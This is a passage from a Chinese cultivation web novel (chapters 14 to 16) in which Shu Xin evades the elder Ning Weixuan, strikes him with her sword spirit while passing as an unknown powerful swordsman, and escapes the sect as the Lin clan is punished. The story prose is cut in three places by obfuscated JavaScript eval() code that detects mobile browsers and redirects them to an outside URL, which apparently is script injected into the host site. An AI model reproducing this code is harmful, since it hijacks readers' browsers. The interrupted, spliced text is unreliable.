宁为玄笑了笑,这才飞身前去寻找。 无垢境修士的神识无比庞大,若非此地是湖中监牢,有阵法守护,恐怕宁为玄都不用亲自来,直接神识一扫就能发现舒新的藏身之处。 但如今,就算是修为通天,也得老老实实一间房一间房的找。 很快,就轮到洛华年这里。 “有人……”洛华年察觉到不对,想要提醒,却发现刚才还在他房间里呆着的舒新早已经不见了踪影。 她什么时候消失的? 洛华年百思不得其解,但不等他多想,一个中年儒雅的修士已经到了他跟前。 这名修士看起来约莫三四十岁,面白有须,一身青衣,看起来就像是俗世里的教书先生,看起来温和无害。 然而洛华年却宛如见到了什么洪水猛兽一般,身边的那些灵剑也是一把把连飞都飞不起来,剑身还微微有些发抖。 “你……”洛华年当即后退,脸上已经冒出密密麻麻的细汗。 他没有被关禁闭之前,在长生道宗里见到的无垢境修士都屈指可数,偶尔见几次都是跟随人群远远见一次,没想到被关禁闭了倒是和无垢境修士靠的这么近。 但即使是以前远远见过的无垢境修士,和眼前之人比起来,完全就是溪水和大海的区别。 修士从练气到叩问道关,是第一难,哪怕是长生道宗这等大宗门也只有不到百分之一的弟子能够成功叩问道关。 凝丹成功到洞天境界,是第二难,道婴境界的弟子已经足以担当外门长老,洞天真人也能够胜任内门的一些小长老之位了。 洞天之上的无垢、大乘、陆地神仙已经可统称之为仙人境界,等闲不是寻常可以见到的。 在这个陆地神仙已经成为修士传奇,大乘修士都遍地难寻的世界,无垢境修士几乎是目前修真界自由行走的最高战力。 而能够自由出入湖中监牢的无垢境修士,那在长生道宗的地位更是不用多说。 洛华年没有任何多想,第一时间就恭敬行礼,“弟子洛华年见过长老。” 宁为玄目光轻扫,已经将洛华年所在的这间房全部看了个遍。 “你的剑尚有可取之处。”宁为玄只看了一眼洛华年,并不再多看。 这天资虽然出众,但不如他自己多矣。 能够修行到无垢境的修士,哪一个不是天资绝代?洛华年这种后起之秀,在没有成就洞天之前,都不值得他多看一眼。 “你这里,近来可有来过什么人?”这已经是宁为玄探查的第十二个房间,也是他认为可能性比较高的。 第一层被关押的弟子虽然多,但能够被舒新看上眼合作的,也就那么些。 聪明人从来都有一个通病,就是他们都只喜欢和聪明人合作。 那些蠢货见了就伤眼睛,如何能够交流? “不曾。”洛华年心里已经将舒新骂个半死,果然是冲着舒新来的。 这人到底做了什么,居然能够出动无垢境老祖来找她?有点过于离谱了。 “我来找她,并非是来寻仇。”宁为玄笑了笑,拢了拢衣袖,笑着说道,“林家那小子不过初入无垢,修为已经没有前进希望了。对我来说,只要出面就能轻松解决她和林家之间的仇怨。我掐指一算,她与我有缘,有意收她为弟子罢了。” 洛华年不敢多话。 宁为玄继续说道,“你或许听说过我,我道号上为下玄。” “您是宁师祖?”洛华年恍惚了一会儿,随即脱口而出,“您是当今掌门的二弟子,是长生九子之一?” 当今长生道宗的掌门已经有数千年不曾露面,听闻他在千年前就已经步入大乘,只是不曾再管理宗门事务。只有在涉及到宗门大事之时,才会分出一具化身出面。 如今,真正执掌长生道宗的,就是掌门收的九个弟子,号称为“长生九子”。 长生九子的人选,要么就是出身长生道宗最顶尖的三大世家,要么是旷古烁今的绝世天才,要么就是身负巨大气运之人。 而宁为玄,就是掌门收的第二位弟子,听说几百年就已经是无垢境修士 只是很久不曾听说他出来行走的消息,不少人都以为他陨落了。 “你若是见到她,记得传达。我会在湖中监牢外等三个时辰,过时不候。”宁为玄见洛华年还算上道,便一挥袖,眨眼间已经消失的无影无踪。 没有了这位无垢境大修士的压迫,洛华年才背靠着墙壁瘫软下来。 和这种修为的修士说话,实在太过耗费心神。 而舒新已经从窗户外钻了进来。 “辛苦辛苦。”舒新笑嘻嘻的说道,“果然我没有看错,在这种大修士的压迫之下你也不会出卖我。” “但你还是被发现了。”洛华年此刻也顾不得什么姿态,“那可是宁为玄。你可知道他在长生道宗意味着什么?如今,能够有资格争夺掌门之位的长生九子就那么三四个,他就是其中之一。若是你能够拜入他门下,不,或者说哪怕是你和他扯上一点关系,借助他的势力,哪怕你去林家砸了他们的宗祠,林家都不敢对你如何。” 若是自己能够被他收为弟子,何愁大仇无法得报? 一时间,洛华年看着舒新的眼神都变得古怪起来。 他实在想不明白,眼前这个女修到底有什么厉害的,值得这位宁师祖亲自来收徒? 这要是被那些世家修士们知道了,怕是每一个人都恨不得去将舒新扒皮抽筋了。 “他想要收我当徒弟,我就一定要答应么?”舒新歪头笑了笑,“怎么,无垢境很了不起么?你怎么知道,以后的我到不了这个境界呢?” 洛华年想要反驳,但他和舒新虽然相处不多 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16725039|188311||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也知道这女子极为自信,怕是反驳了也无用,干脆不说话。 “天下没有免费的午餐。”舒新笑了笑,看在洛华年没有出卖她的份上,倒是愿意和他多说一些,“你可知道,其实长生九子之一,也有和司徒间表达过招揽之意?” 洛华年震惊且疑惑,不知道舒新和他说这些做什么? 总不能是炫耀吧。 “因为司徒间知道,现阶段卷入其中,无异于自寻死路。” 他想要报仇,自然不会做这种蠢事。 想要借势,最起码要确保自己不会被这个势力反噬而死。 “长生九子,名义上是师兄弟,实际上彼此竞争,九个人,足足能够分出十几个派系,彼此之间敌友互换,等闲根本搞不清楚。被卷入他们争斗之中的修士世家,没落了起码有上百家,死去的修士更是不计其数。”舒新耸耸肩,“宁为玄多年不曾有过踪迹,只有两种可能。一种是他在韬光养晦,一种是他被逐出权利核心。但凡他是前一种,都不可能亲自来找我,表达礼贤下士之意,所以他的情况只能是第二种。” “若是他如日中天,又岂会有我们这种小修士的机会?”洛华年终究是忍不住,“若是他东山再起,所得资源难以想象。” “真到那个时候,最先被杀掉的,就是我们这些陪他起于微末的人。”舒新凉凉的说道,“一将功成万骨枯。长生道宗掌门之位几乎等同于这个世界最有权力的几个位置之一,里面的刀光剑影,可不是我这种小修士能够掺和的。” 这世界上最多的就是可以共患难不能同富贵之人。 不巧,宁为玄给舒新的感觉就是这一类。 自私、自大、傲慢、且控制欲极强。 职场里,为了一个办公室主任的位置,都能争的头破血流,何况是掌门之位? 这种战争才是杀人不见血,自己一只脚踏进去怕是还没有睁开眼睛就已经死无葬身之地了。 这宁为玄,多半是猜到自己身上有异宝。 “他八成看上你了,但是又不确定你到底是什么,所以才想着借师徒之名招揽我。”舒新对着剑灵如此说道。 此外,还想着自己给他卖命。 到时候自己被他榨干利用价值死掉,剑灵还能归他,他作为师父接收徒弟的遗物岂不是名正言顺? “不过,之前和他短短一个照面就被他锁定,看来他身上的奇珍异宝已经超过我们想象。”舒新可不相信对方是无缘无故找到这里来的。 想来想去,也只有之前和他短暂见面的时候被他抓到什么蛛丝马迹了。 【这老家伙倒是有眼光。】剑灵得意了没一会儿,又担心的说道,【那他现在堵在门口,你可怎么办?】 “既然他猜到了,不如让他猜个大的。”舒新沉默了一会儿说道,“人算不如天算,这也算是给我们提了个醒。这天下英雄如过江之鲫,能够发现我们的还真不在少数。” 洛华年却只看见舒新一直沉默,还以为她在纠结要不要拜师的事情,倒是比较理解。 “其实宁师祖也……” 话音未落,洛华年却只看见了一道剑光。 好快、好强大的剑气。 洛华年脑海里闪过这么一个念头,人已经彻底倒下。 【人已经被我们打晕了,接下来怎么做?】 舒新已经将储物袋里的指尖玄光拿出来。 “剑灵,用你的剑气为我屏蔽气息。”舒新眼中闪出明亮的光芒,“只有同样的强者,才能让另一个强者忌惮。” 枪.杆子里面出政.权。 没有足以制衡一切的“真理”,你就是道理大过天也没用。 “这一次,我允许你全力以赴!” 15.第 15 章 宁为玄悬坐在空中,脸上带着志在必得的微笑。 旁边的两个预备役弟子面面相觑,似乎不太理解。 “师父,您何等声名,如此纡尊降贵等那舒新来拜师,是否有些太委屈了?” “是啊,师父,只有弟子不远万里历经千辛万苦前来拜师的,何曾有过名师主动等候弟子的呢?” 他们两人,和宁为玄还算有些血缘关系,也是跟在宁为玄身边伺候了多年,才在今日得到一句肯定的答话可以被收为弟子。 要知道,他们从小到大也是被当成天才簇拥着长大的。 可是在宁为玄面前,他们被迫乖巧、懂事、面面俱到,又熬走了同批不知道多少人,才得以守得云开见月明。 在他们看来,舒新虽然资质不错,但进入长生道宗之后修为几乎不再有进步,可见前期她为了突破到道婴境界过多的采用了一些速成的法子,才会耗空潜力到现在。 可是,这样的人却让宁为玄主动避让,甚至在湖中监牢外面等候,就为了收她为徒? 这不对比还好,一对比他们两个简直比路边捡的还有所不如。 人从来都是这样,在成功之前,可以吃得了任何苦楚。可一旦目标达成,自然而然的就容易放松心神。 宁为玄见自己刚松口收下的两个弟子是这般表现,心里不由有些失望,但转念一想,年轻有上进心的修士,谁又不是这样呢?哪怕是自己年轻时候,也未必表现的比他们更好。 “你们认为舒新修为无所寸进,这才是她高明之处。”宁为玄淡淡说道,“她虽然只和为师过了一招,但她的修为分明已经处于道婴巅峰,随时可以成为洞天修士。可是她在宗门隐忍多年,却半点都没有展现过自己的修为进步。也因此,原本对她有所企图的那些世家,大半都熄灭了心思。剩下的那些,都不是什么厉害角色。” 在长生道宗这个看似公平正派实际阶级分明的宗门里,一个出身浮萍的女修能够忍受众人的奚落、诋毁、利诱,依旧能够稳得住道心修行,不露分毫,可见此女心性之坚。 而且,宁为玄两次感觉到舒新的气息,都是她孤身一人,并无所谓的“帮手之说”。 这也意味着她是凭借一己之力杀掉三个洞天真人的。 哪怕她身怀异宝,能够越级斩杀三个洞天真人也可见她的实力。 长生道宗里的奇珍异宝难道少了,为什么宗门不将它们分给弟子们使用?那是因为如果使用者没有与之相匹配的能力的话,奇珍异宝只会成为修士的阻碍,甚至还会给修士带来生死危机。 宁为玄也是活的时间长了,才明白这种人有多可怕。 他守在这里,倒也不是为别的。 若是舒新愿意拜他为师,他也愿意倾囊相授,只等他日自己成为长生道宗掌门一天,再看舒新够不够听话懂事来决定她的下场。 若是舒新不愿意拜他为师,他也绝对不可能放任这样天资、道心的弟子离开长生道宗跑去问神宗,更加不可能有让舒新日后修为增加来找他麻烦的可能性。 他会就地打杀舒新,不给自己留下任何隐患。 所以,这到底是一条拜师通天之路还是自寻死路,全在舒新的一念之间。 时间一点点过去。 原本脸上还带着少许笑容的宁为玄已经开始有些不耐烦了。 这么久了舒新还没有出来。 哪怕是再考虑,也考虑的过于长久了。 这也意味着,舒新对自己这个无垢境大修士的招揽也无动于衷,甚至是有些瞧不上他的。 想到这个可能,宁为玄心里只觉荒谬。 然而,就在宁为玄想要放出神识探查周围之际,他的目光突然移到了自己的手上。 他的手指,在不自觉的打颤。 “师……师父……” 旁边的两个弟子,手中捧着他之前赐下的法器,眼睛里满是惊恐。 他们努力的想要睁开眼睛,却无力抵抗这庞大而恐怖的剑压。 周遭的灵气好像在瞬间就被抽空,连带着他们两个人体内的灵力也在这个时候变得僵硬无比,似乎无法再调动。 下一刻,他们眼睛一翻,宛如下饺子一样直接从空中坠落下去,在地面上砸出几个深坑来。 但宁为玄此时此刻,却没有心思去关心这两个便宜徒弟的死活了。 他已经站起身来,身上的修为毫不客气的释放出来,企图在来人面前展现自己的实力。 可是,他颤抖的手,还有背后冒出的冷汗,都让他此刻嗅到了死亡的味道。 来人头上戴着一顶长长的幂笠,将大半个身体都笼罩了进去。 唯有握着剑的那只手,完完整整的露在了外面。 宁为玄甚至生不出继续用神识探查的想法,而是他知道当自己的神识放出去,立刻就会被对方身边无形却又不断包裹着四周的剑气所绞杀。 但这还不是最恐怖的。 最恐怖的是,他已经在这附近布下了法阵,但是法阵却没有半点动静。 甚至,他此刻就身处湖中监牢周围,但湖中监牢里镇压着那些绝世魔头的长老们,却没有半点反应。 这意味着来人对于自身的剑气和周围的灵气已经控制精准到了骇人的地步,只在这么一个小小的范围内引起了动静,而湖中监牢里的长老们却浑然不觉。 “在下长生道宗宁为玄,不知前辈进入我长生道宗,有何贵干?” 宁为玄脑海里已经闪过很多个修士的名字,其中擅长用剑、修为又如此骇人、还能悄无声息的潜入到长生道宗的到底是谁? 难道,来人不担心会惹怒他们长生道宗的那位陆地神仙么? “呵。” 来人没有回答,只是轻轻的笑了一声。 伴随着笑声而起的,还有一道剑光。 那剑光如白虹贯日,又好似九天之上的银河在瞬间倒灌。 刹那间,好似周围的一切都已经失去了存在的气息。 天地之间,只能看见这一个人,一柄剑。 宁为玄甚至忘记了如何去抵挡。 又或者说,他根本无法抵挡。 就像是他第一次叩问道心成功凝丹,御剑飞行于山川湖海之上,看见辽阔大海、看见浩然星空之时一般,生不出半点对抗的心思来。 又像是他当年第一次见到掌门师尊,仿佛蜉蝣见青天,好似终生也到不了的那个境界。 剑光掠过宁为玄的左边臂膀。 无垢境修士金玉难断的强大肉身在这一刹那间比那白纸也强不了多少,应声即碎。 而那一道剑光在断掉宁为玄的一臂之后没有停下,而是继续划过,直接冲向湖中监牢的上方。 撞上那长生道宗布置了无数阵法的塔身,然后发出一阵巨大的轰鸣之声。 紧接着,那道剑光才冲上云霄,将笼罩在长生道宗上方的那些艳丽云彩、瀑布飞流直接一分为二。 轰隆—— 塔身摇晃。 所有的阵法、禁制应声而开。 而湖中监牢里被镇压的魔修、负责看守他们的长老,在这一瞬间都情不自禁的抬头去看。 “何人擅闯我长生道宗?!” 遥远之外,又好似虚空之中有一道洪亮又带着怒火的声音传来。 【爽了!】剑灵发出肆意呐喊。 不久前,房间内。 剑灵很艰难的将自己的两截身体重新融合在一起。 只是融合出来的剑,看起来的卖相着实不好。 不但剑身上血迹斑斑,而且剑刃上还坑坑洼洼,剑柄上明显有几个刀口,握着都有些膈应人。 就这卖相,扔在路边就懒得有人去捡。 剑灵觉得舒新将自己打造成两把剑是属于破坏它的整体形象,但舒新认为自己在给这把仙剑整容。 没办法,太拿不出手了。 “差不多了吧。”舒新催促道,“时间快来不及了。” 【别急,还差一点,这指尖玄光的粘合性还是差了点,你又不是没钱,就不能买点贵的?】 “第一,之前买指尖玄光的时候我没钱,现在身上的灵石都是这几天才得到的。第二,给你买那么好的干嘛,到时候又分不成两把剑了。”舒新摇摇头,“外面那个老登肯定想着怎么杀我呢?哇,这种人我可太熟悉了,自私自利到了极点,和这种人牵连在一起就只有早点死和晚点死的区别。” 【差不多了,我先给你屏蔽一下气息。】 【不过你记住了,你只能出一剑,多了你身体扛不住。】 这不是剑灵自夸,而是它哪怕降低品级,也不是舒新能够完全掌握的。 出一次剑,差不多就是舒新目前的极限,也是剑灵能够确保自己不被陆地神仙们盯上的极限。 “放心,我比你可更加注意我自己的小命。” 舒新将合二为一的仙剑握在了手中。 剑柄上歪歪斜斜的还刻着几个字: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16732555|188311||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ——屠尽世间仙。 就冲着这几个字,就能明白为什么剑灵一旦真正出世,就要被陆地神仙们追杀剑主了。 还是“等等”和“且慢”才够稳妥。 “这一次,我们可不能再吊儿郎当了。” 【我从来不这样,只有你而已。】 舒新大笑。 “那就让我见识一下你绝世仙剑的风采!” —————————————— “怎么了,怎么了?” “你们快看天上。” “什么东西?” 长生道宗无数弟子、无数修士,甚至还在紧迫盯人的秦如山和已经不耐烦的许观,也不约而同的抬起头来,看向天空。 那一道蕴含着磅礴剑意、又自带着无数杀气的剑光,成为他们一生也难以抹去的记忆。 “这是什么境界的剑修?” “无垢,大乘?” “不,最少是大乘修士。” “我们长生剑宗,何时招惹过大乘境的剑修?” “不,应该说,我们这个修真界,何时有出过大乘境的剑修?!” …… 许观的目光有些发直,忍不住喃喃自语道,“不知是何等绝世风采,才可挥出这惊天动地的一剑?” 无数的人在调查、在思考、但是更多的人在惊恐、在害怕。 一个强大无比的大乘期修士,足以颠覆大半个长生道宗。 而他们修真界,分明已经有几千年不曾有过新的大乘期修士了。 正在洞府修行的司徒间,也在这瞬间感觉到了这恐怖、却又熟悉的一剑。 他暂停了那么一小会儿。 随即,他才再度闭上眼睛继续修行。 这一剑过后。 长生道宗不会再有人关注司徒间和舒新的事情,也不会再有世家想着怎么去抓到舒新。 因为整个宗门从上到下,都要陷入慌乱当中。 他们要清楚,到底是谁在挑衅宗门?所图为何? 所有的猜测、恐惧,最后都会化为种种的猜测,变成很长一段时间内的小心翼翼。 【嘶——剑身又裂了,刚才用力了点。】 【看见没有?这才是我的威力。】 【我前面的几任主人,可是连真正的仙人见到了都得躲的。】 剑灵简直扬眉吐气。 这一百年每天跟着舒新干那种欺凌弱小、偷袭跑路的龌龊事,它都快忘记自己曾经的光荣时光了。 如今,它一剑挥出,不但斩断了宁为玄那老不死的手臂,还撞裂了湖中监牢的护山大阵,趁着这个间隙,舒新就可以直接跑路了。 可惜了,这不是它的巅峰,只有它全盛时期一半不到的威力。 而舒新这个剑主,也只充当另一个工具人的效果。 【快,我们赶紧从这个裂缝中出去,趁着他们现在还没有注意到你。】剑灵紧急催促。 “……我没有力气了你没有发现么?”舒新嘴里含着一口血,努力不露出来痕迹来,只能用神识传音回应剑灵,“你刚才那一剑,抽干了我体内所有的灵气,还抽废了我储物袋里的大半灵石。” 她区区一个道婴境,何德何能能够挥出堪比大乘期修士的一剑啊? 【那怎么办?】 “不能跑,你给我的剑气屏障还没有散,虽然这个时候他们心神动荡,但我这个时候趁乱逃离只会被发现踪迹,长生道宗有陆地神仙,还有大乘期修士,绝对会追上来将我们杀掉。” 舒新格外冷静。 【啊?】 剑灵也懵了。 【你不是说要装把大的?】 我也没有想到你这么能装啊。 明明上一次挥剑的时候,她最多只能发挥出无垢境界的剑招。 好吧,那都是一百年前的事情了。 现在说这些毫无意义。 她和剑灵的数次交谈,其实都只在她挥出一剑之后的呼吸之间完成。 “带着我再回湖中监牢。”舒新当机立断,嘴里的血都快含不住了。 【又回?】 “这是我对我那个时代最顶尖的历史战术的拙劣模仿,你听我的就对了。”舒新有些心神失守。 剑灵也害怕舒新下一刻就要晕过去。 趁着大家都被这剑光震慑心神之际,立刻卷了舒新化作一道剑光消失。 看着像是脱身而去,实际却是带着舒新再度躲入了湖中监牢。 16.第 16 章 突然冒出来的大乘期剑修,仅仅挥出一剑,就让长生道宗陷入了某种慌乱的情绪之中。 尤其是长生道宗执掌权力的那些人,更是一脸懵。 他们都不知道这件事到底是怎么发生的? 好端端的,怎么会有大乘期剑修潜入进来,而且目的只是为了削去宁为玄的半边臂膀,顺便再袭击一下湖中监牢的大阵呢? 如今出现在这间房间里的人,每一个拎出来都是让长生道宗抖一抖的人物。 长生九子。 掌门不出现,他们九个人就是当前长生道宗最具有权力的人物。 “怎么样了?” “宁师兄的伤倒是不重,那剑气干脆利落,只是要去除上面的剑气,恐怕还需要找师伯出手。至于那肉白骨的灵草,宗门内也有存货。不过宁师兄心神失守,恐怕接下来必须闭关好些年。” “祸兮福所倚福兮祸所伏。若是宁师兄能够就此去除心魔,恐怕突破大乘有望。”另一个修士张口说道。 同为长生九子,虽然他们彼此争斗不休,但那也是在宗门内部。对外的时候,他们还是相当一致的。 宁为玄已经被他们救回来了,但他也不知道事情到底是如何发生的? 毕竟,宁为玄在遇见那大乘期剑修之前,只是打算去收个徒弟而已。 “难不成,是被关在湖中监牢的那些魔头们吸引来的人?有人想要救走他们,宁师兄不过是恰逢其会,正巧撞上了而已。”一个貌如天仙、气质出尘的女子说道,“我虽然入门时间晚,却也听说湖中监牢里关押的都是魔道巨擘。这个大乘期剑修偷偷摸摸、不以真面目示人,又出剑即走,或许只是前来试探我们宗门的虚实。” “小师妹说的有些道理。” “那些魔道中人总是贼心不死,的确有这个可能。” “我看,这件事就可以暂时先推到魔道身上。不然,我们宗门对外又要如何说?” 众人商量了一会儿,认为还是将此事推到魔道那边最为稳妥,也不会丢脸。 “大师兄,我询问了宁师兄身边的那两个随从,他们自称是弟子,但尚未正式举行拜师仪式。他们说,宁师兄在那里等一个叫舒新的女修,为了收她为徒。那个突然冒出来的剑修,或许和这个舒新有关系。”一个略微年轻一点的俊雅修士主动提起道,“说起来,这件事我也有参与……” 紧接着,俊雅修士就说了司徒间和舒新的关系,还有林家老祖的应对方法,以及舒新被关到湖中监牢之后的情况。 “这件事最有可能,是那舒新与那大乘期剑修早就熟悉,里应外合之下才能让那个大乘期剑修悄无声息的潜入。甚至,舒新在拜入长生道宗之前不过一介散修,却以不足百岁之龄叩问道关、铸就道婴,或许在外早有师承,只是经此一事才暴露出来。” 没有人会将舒新和大乘期剑修想成同一个人,他们只会去猜测二者之间的关系。 当然,也可能完全没有关系。 只是位高权重的人,绝不会相信这个世界上有这样无缘无故的巧合。 “原本我是希望借此敲打如林家一般的那些家族,没想到事情会演变成这样。”俊雅修士叹气道,“还请大师兄做个决定。” 被众多师兄弟妹簇拥着的大师兄,如今代行长生道宗掌教之责,是长生道宗货真价实的大人物。 而他只是端坐在莲台之上,双眼始终不曾睁开。 “此事到此为止。”大师兄回答道,“此事既然是五师弟参与其中,便由你收尾。至于那个舒新,此人无论与大乘期剑修是否有关,她既已离开,便不再是我道宗弟子。” 既然不再是宗门弟子,日后遇见了,自然任凭心情对待。 “谨遵大师兄令。”俊雅男修自然明白意思,拱手应道。 林家洞天。 “蠢货,蠢货,出了这样大的事怎么不直接过来寻我?”林家老祖将几个子嗣骂的狗血淋头,一脚踢飞了好几个看的不顺眼的。 “老祖,您在闭关,所以……” “那舒新如今都有可能和一个大乘期剑修扯上关系了,还需要顾虑我是否闭关?我看,你们分明就是知道事情没办成,害怕我惩罚你们而已。”林家老祖恨不得将这些子嗣直接打杀,也好过在这里继续丢人现眼。 那舒新躲在湖中监牢没有被发现也就罢了,没想到还引来了一个大乘期剑修,听说还有人为此受了重伤,湖中监牢里镇守摸头的长老们都关注了此事。 如今,林家是处于骑虎难下的状态。 可是谁能想到只是去杀一个小小的舒新,竟然会引发这么一连串的反应呢? 若是早知如此,给林家一百个胆子,他们也是不敢的。 “还不快去打听受伤的人是谁?还有那个舒新到底失踪到哪里去了?”林家老祖怒发冲冠,眼看着已经压制不住身上的杀气。 “林道友,不必再打听了。” 一道洪亮的声音响起。 却是五个无垢境修士一同前来,直接落在了林家老祖的面前。 林家老祖看见眼前这五个无垢境修士,知道他们都是长生道宗真正的底蕴,也是长生九子真正的心腹。 “林坚见过诸位道友。”林家老祖脸上已经换了表情,态度之温和,是林坚这些子孙后代从来没见过的模样。 “不必客套了。”为首的一人嗤笑道,“宗门已经下了定论,此次事件,你们林家的结局已定。” 林坚脸色微变,却还是保持着和善模样,小心翼翼的说道,“不知宗门对我们有何打算?” “此次事情,均由你林家而起,导致魔道剑修趁机进入宗门,造成长生九子之一的宁为玄重伤。他治疗所需的一干灵药灵石,均由你林家进行赔偿。”为首的无垢境修士张口说道。 宁为玄?长生九子! 林坚自认为自己在宗门里也是个大人物,但和宁为玄比起来还真不算什么。 怎么偏偏是他被卷入其中? 而他所需要的治疗费用,怕是要扒掉他们林家一层皮。 “应……应该的。”林坚咬牙应承道。 “此外,林家所占据的十三座山脉,此次宗门将会回收其中六座,限你在月底之前,将六座山脉上的林氏族人全部清空,过了时间还留在上面的,就任由宗门处置了。”另一个长老继续说道。 只是赔偿倒也罢了,但灵山一旦被收走,就意味着灵山上面的洞天、仙境全部化为乌有,还有他们林家上千年在上面花费的心血、大阵等等全部都将化为泡影。 此举不亚于将林家的根都削去了大半。 “道友,不,长老,赔偿我们林家认了,但这灵山之事如何说起?”林坚此刻彻底明白了事件恶化之巨,怎么好端端的都快要将他们林家连根拔起了呢? “你想质疑宗门的决定?”一个无垢境女修冷冷问道。 “……不,不敢。” 林坚很清楚,他既然可以颠倒黑白,将舒新弄进执法堂关押,那么宗门自然也可以借机剥夺他们的财富。 修真界,向来弱肉强食。 只是林坚可以接受自己是在和别的家族对战之中失败而失去这些资产,却难以接受这一切居然只是因为一个小小的舒新? “最后,舒新既然已经离开,便不再是长生道宗弟子。上面的话,你可明白?” 林坚汗如雨下,只能苦笑着点头。 他当然明白。 宗门的意思很清楚,如果他们林家还要找舒新的麻烦,就不能再用长生道宗的名义。 就像他可以随时抛弃掉林家无用的棋子一样,宗门也可以一样抛弃掉他。 传达完宗门旨意之后,五个无垢境修士才有说有笑的离开,就好像刚才他们不是在给一个家族下达足以动摇家族根基的指令,而是闲来无事随便走走一般。 “老……老祖,若是少了一半灵山,我们林家接下来恐怕要被其他家族趁机打压。” “还有我们的店铺、炼丹房、商会、客栈,恐怕都难保。” “闭嘴!”林坚大声呵斥道,眼睛红的充血,“去,通知司徒间,他的拜师仪式要尽早进行。还有,你们要给我将这场拜师仪式办的越来越好,绝对不能让其他家族的人看我们的笑话,明白么?” “是,是。” 林氏族人恨不得赶紧跑,哪里敢多留? 等众人离去,林坚才颓然的坐在蒲团上。 多年经营,一朝尽丧。 这一切都是因为那个叫舒新的女修。 林家与她,不死不休! 此刻的湖中监牢。 舒新正坦然打坐修行,面对洛华年频频投来的目光视而不见。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16734279|188311||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 所有人都以为舒新趁乱逃走,甚至还认为舒新必定是被林家打压生出了不忿之心,所以才和那个不知名的大乘期剑修里应外合,才造成了如今的事故。 但不管真相如何,也不管舒新和这个大乘期剑修到底是何关系,都已经无人追究了。 哪怕是被砍了一只手臂的宁为玄,也不可能再继续追究下去。 长生道宗可以将这件事推给魔道保住颜面,但若是一查到底,舒新的遭遇又会大白于天下。 外面的修士会如何想? 他们会不会认为是舒新被宗门压迫太过才如此行事? 还有宗门里那么多普通弟子,闹大了以后他们以后也有样学样又该如何? 所以,这件事只能压下来。 哪怕他们明知道舒新有可能还藏在湖中监牢里,但却没有人再来查探。 因此,在大乘期剑修事件出现后的一个月,舒新都在洛华年的房间里认真打坐修行,恢复伤势。 而洛华年,更加不敢问,也不敢听。 他只是个凝丹修士,尚有大仇未报,实在不适合卷入这种高级别的事件之中。 只是洛华年又将舒新看成了什么妖魔鬼怪,对她又有何种猜测,那就不是舒新能够控制得了。 【舒新,外面的护山大阵真的打开了,你可以出去了。】剑灵震惊。 它不理解。 “这护山大阵已经被大乘期剑修潜入过,自然不再安全,当然要打开之后重新布阵。”舒新笑了笑,“甚至,现在大家都会默认我有个大乘期的靠山,就算我不认,长生道宗也不会来追究一个小小的我的责任。” 大乘期修士,在这个修真界里就像是核.武.器,一旦亮出来,在没有宗门破灭之前的危机面前,是不可能轻易动手的。 看吧,一旦亮出来,宁为玄的事情解决了,和林家的事情也解决了,连宗门都变得好说话了。 虽然,一开始舒新也没有想到威力能有这么大就是了。 正好她也可以借着阵法打开的时候,大摇大摆的出去,也不用担心自己短时间内会再被追杀了。 “这些日子,多谢你了。”舒新笑了笑,扔过一封信递给洛华年,“你从这里出去之后找司徒间,他看了信自然会帮你。” 洛华年微微皱眉,却还是接过了信,“你要走?” “总不能真在这里一直住着。”舒新耸耸肩,“走了。” “我送送你。”洛华年下意识的回答道。 “不必。”舒新潇洒的挥挥手,完全没给洛华年说什么道别的话。 本来也不过萍水相逢,等她成为问神宗弟子,再见面不互相敌对就算是好的了。 洛华年只觉得这个女修神秘无比,也让人根本猜不透。 才经历过这样大的事情,就能这么镇定自若,泰山崩于前而面不改色么? 洛华年扪心自问,自己是万万做不到的。 可等到他抬头,想要问问的时候,舒新早已消失的无影无踪。 山高水长,真的会有再见的时候么? 舒新简单伪装了一番,就轻轻松松的尾随在一队宾客们的身后,离开了长生道宗。 【笑死,人家要送你还不乐意?】剑灵嘲笑道,【你真是一个罪孽的女人,那年轻少男的眼珠子都快不会转了。】 “他只是没见过我这样的人罢了。”舒新摇摇头,“没办法,人格魅力大,你羡慕不来的。再说了,就算要人送,也轮不到他啊。” 【还能有谁?你对自己真是没有自知之明。】剑灵和她互呛。 等过了长生道宗的地界,舒新才带着剑,慢悠悠的走在路上,打算去堵一下问神宗的许观他们。 可以直接和他们回去,就没必要自己再去找问神宗的山门了。 就在前往问神宗的必经之路上,一个长身玉立的身影已经远远的站在那里等候。 舒新眨了眨眼,脸上带笑,笑眯眯的迎了上去。 “没想到我们还是这么有默契,你知道我会经过这里,等我多久了?” 在这里等候着舒新的,不是司徒间又是谁? “听说阵法重开,我便来了。”司徒间微微颔首,顿了顿才道,“我知你必定不会耽搁。” 舒新哈哈大笑。 纵使一人独行,也必有人万里相送。